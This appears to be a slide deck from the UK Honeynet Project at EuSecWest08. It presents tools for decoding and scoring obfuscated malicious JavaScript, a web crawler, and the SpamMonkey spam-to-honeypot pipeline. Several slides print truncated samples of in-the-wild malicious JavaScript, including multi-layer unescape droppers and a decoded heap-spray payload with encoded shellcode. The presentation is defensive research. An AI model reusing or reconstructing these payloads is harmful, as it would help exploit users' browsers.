

Evil Javascript / SpamMonkey

EuSecWest08

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§ Like everyone else, we saw lots of obfuscated JS last year:

<script language=javascript>document.write(unescape("%3Cscript 3Dx.length%2Ci%2Cj%2Cr%2Cb%3D%282048/2%29%2Cp%3D0%2Cs%3D0%2CoC42%2C41%2C0%2C0%2C0%2C0%2C0%2C0%2C13%2C26%2C49%2C38%2C45%2C9C56%2C35%2C46%2C15%2C31%2C32%2C19%2C21%2C39%2C0%2C0%2C0%2C0%2C0%2C35%2C46%2C15%2C31%2C32%2C19%2C21%2C39%2C0%2C0%2C0%2C0%2C0%2C6%2C7%2C12%2C47%2C43%2C43%2C25%2C16%2C34%2C54%2C58%2C28%2C50%2C6%2C7%2C12%2C47%26%3Bj--%29%7Br%3D%27%27%3B%20for%28i%3DMath.min%281%2Cb%29%3%28p++%29-48%5D%29%3C%3Cs%3Bif%28s%29%7Br+%3DString.fromCharc%7D%7Ddocument.write%28r%20%29%7D%7Ddc%28%22J5XKFj_YEY_jKJzjl0JzKX5uju6cMk@_06YG_U54iu6gnJbzYrfgnHz6KJQzYtz6rK@_jHc6tx54Jr

§ This is tedious to decode manually, so we built a tool to do it (like others) and released it:

http://www.ukhoneynet.org/2007/08/06/spotting-malicious-javascript/

- § Our tool used Spidermonkey JS engine
- § But: Jose Nazario was working on Norberto at that time and Phoneyc in late 2007
- § Similar goals and approaches, different strengths
- § However, we had a **Badness Meter** (TM)
- § Simple ratio of the number of Javascript keywords versus the total length of the code
- § Decided not to release & instead merge features or continue development and testing

(Not Really) Evil Javascript

- § Simple step based command line usage
- § Non-obfuscated JS has low "badness":

§ Real evil JS:

david@monolith:~/decryptjs-1.0.4/samples\$ decryptjs ftpcom Examining Javascript

document.write(unescape("%3Cscript%20language%3DJavaScript%3Efunction%20dc%28x%29%7Bvar%20l%3Dx.13D%282048/2%29%2Cp%3D0%2Cs%3D0%2Cw%3D0%2C%20t%3DArray%2863%2C33%2C27%2C2%2C51%2C44%2C1%2C59%2C42%C0%2C0%2C13%2C26%2C49%2C38%2C45%2C9%2C30%2C52%2C8%2C0%2C17%2C3%2C29%2C24%2C36%2C22%2C62%2C60%2C56%2C56%2C21%2C21%2C39%2C0%2C0%2C0%2C0%2C0%2C61%2C48%2C37%2C40%2C55%2C57%2C53%2C11%2C14%2C20%2C18%2C58%2C28%2C58%2C28%2C50%2C6%2C7%2C12%2C47%2C10%2C23%2C5%20%29%3Bfor%28j%3D%20Math.ceil%281/b%29%3Bj%3E7%3B%20for%28j%3DMath.min%281%2Cb%29%3Bj%3E0%3B%20%20i--%2Cl--%29%7Bw%7C%3D%28t%5B%20x.charCodeAt

§ Score and decode once:

TueEeLgLZI3ny33HWrvmJuJM1ktru64mbLuH1uezb6eBJ63HjLFmGyLfzj
zBynBzYJbn_XHg3DgCnHEG_AMuYz@tjVYcMz@_0VmYtzW1tXQ6YEJg_x5K
JdGiRWKiRWgYJN1MmJYyLJykjEzJzJYtu9pI5gJ_V6zyjgJ_V1J_vbn_IW
37bGi7rzJVEYJMfgyJHjJn@jJmWJ_xD4iRWgYJN6_JbyLbEytM_6tJdj_3
j_FaYyF6YYvv1nz6gnzc6tXQbi@jz0uz60YBb_r1jYMLG_UGWuY1gJU5XK

Decode this Javascript (badness 593)? (y/n) [y]:

§ High "badness"

= still part encoded

<script language=JavaScript>function dc(x){var l=x.length,i,j,r,b=(2048/2),g
2,41,0,0,0,0,0,0,13,26,49,38,45,9,30,52,8,0,17,3,29,24,36,22,62,60,56,35,46
5,57,53,11,14,20,18,43,25,16,34,54,58,28,50,6,7,12,47,10,23,5);for(j= Math.
);i>0; i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCowrite(r)}}dc("J5XKFj_YEY_jKJzjUGN0zBYyU5XKmJzjYabi@j_0zgzYUGWuz1YJLJgK7GWnl
JbzYrfgnHz6KJQzYtz6rK@_jHc6tx54Jn@j_rJzyTLYynmY_v_JIx54iyJGykY_0FaY_m6gJMac</pre>

§ High badness, decode a second time:

rWWIKvIugYIrKInIuIW6IIb6vmJuJM1k6_nIuryI3HIu6_nI6bJI
u6_nI6_nI6_nI6jb6vmJuJM1kuncIK_W66Izutrb6YBJ6jJg6rNW
ZI3ny33HWrvmJuJM1ktru64mbLuHIuezb6eBJ63HjLFmGyLfzjYc
bn_XHg3DgCnHEG_AMuYz@tjVYcMz@_0VmYtzW1tXQ6YEJg_x5KiF
RWgYJN1MmJYyLJykjEzJzJYtu9pI5gJ_V6zyjgJ_V1J_vbn_IWJ_
JVEYJMfgyJHjJn@jJmWJ_xD4iRWgYJN6_JbyLbEytM_6tJdj_3Y_
YYvv1nz6gnzc6tXQbi@jz0uz60YBb_r1jYMLG_UGWuY1gJU5XKFv

Decode this output (badness 710)? (y/n) [y]:

§ Now we get the actual payload

```
var heapSprayToAddress = 0x0c0c0c0c;
var payLoadCode = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u
"%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%
"%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%
"%uca87%u105f%u072d%uef0d%uefe
f%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +
```

Finding Evil Javascript

- § Started crawling the web using Heritrix (Archive.org)
- § Didn't get as much obfuscated JS as we expected
- § Only using JS mime types and file extensions
- § JS actually called in many other ways, especially in web 2.0 apps


```
@property
def objects(self):
    return self.find("//applet/@archive", "//applet/@code", "//img/@src", "//link/@href", "//meta[@http-equiv='refre
sh']/@content", "//object/@data", "//object/@usemap", "//object/@codebase")

@property
def javascript(self):
    return self.find("//script/@src")

@property
def inlineJavascript(self):
    return self.find("//@onload", "//@onunload", "//@onfocus", "//@onblur", "//@onchange", "//@onsubmit", "//@onmouseover", "//onmouseout", "//script/text()")
```

- § Wrote simple web crawler that understood multiple calling methods (python, asynchronous Twisted)
- § Optionally display results in TurboGears web UI

THE HONEYNET PROJECT-



THE HONEYNET PROJECT-



UK Honeynet Project << < 1 2 [3] Id url **Crawl Date Badness Tags** Text 2008-02-08 <html> <head> </head> <iframe width="100%" height="100%" frameborder="0" View http://07novel15-8.top-tub.com 0 7:49.166534 src="http://searchportal.information.com/?a_id=47369&domainname=referer_detect"></iframe> </html> **URL Details** test,test2 <html> <head> </head> <iframe width="100%" height="100%" frameborder="0" -02-08 View http:/ + src="http://searchportal.information.com/?a_id=47369&domainname=referer_detect"></iframe> </html> 2:49.166534 URL: http://07novel15-8.top-tub.com -02-08 <!--|09|1202488069|144.32.226.25|NONE|--> <!-- content - Partner "default.partner" - File "html_parser/available.htm" 0 /iew http:/ 7:49.166534 PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head IP: 144.32.128.242 Country: uk ome page

```
clink rel="stylesheet" href="/cgi-bin/css/new_style.css?partner=freeservers.com" type="text/css">
clink rel="stylesheet" href="/cgi-bin/css/new_style.css?partner=freeservers.com"
```

- § Need to improve simple web crawler (functional but doesn't play nice!)
- § Still improving TurboGears based web UI
- § Initial SVN release fairly soon
- § More web console features to come
- § Anti-spam techniques for spotting obfuscated JS
 - Naïve Bayes
- § Browser plug-in / NoScript extension?
- § Phoneyc code merging?
- § arguments.callee.toString(), not really being IE

SpamMonkey

- § Deliver spam to IMAP accounts
- § Process new messages (including attachments)
- § Extract URLs and log information in DB
- § Pass to Evil JS code and client honeypot farm
- § Crawl using Capture-HPC client honeypot
- § Record malicious I/O (file, network, registry)
- § Add results to DB and present in web UI
- § Help humans do their analysis
- § Hope to combine/release fairly soon



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http://www.ukhoneynet.org

Any Questions? (and please give us your spam!)

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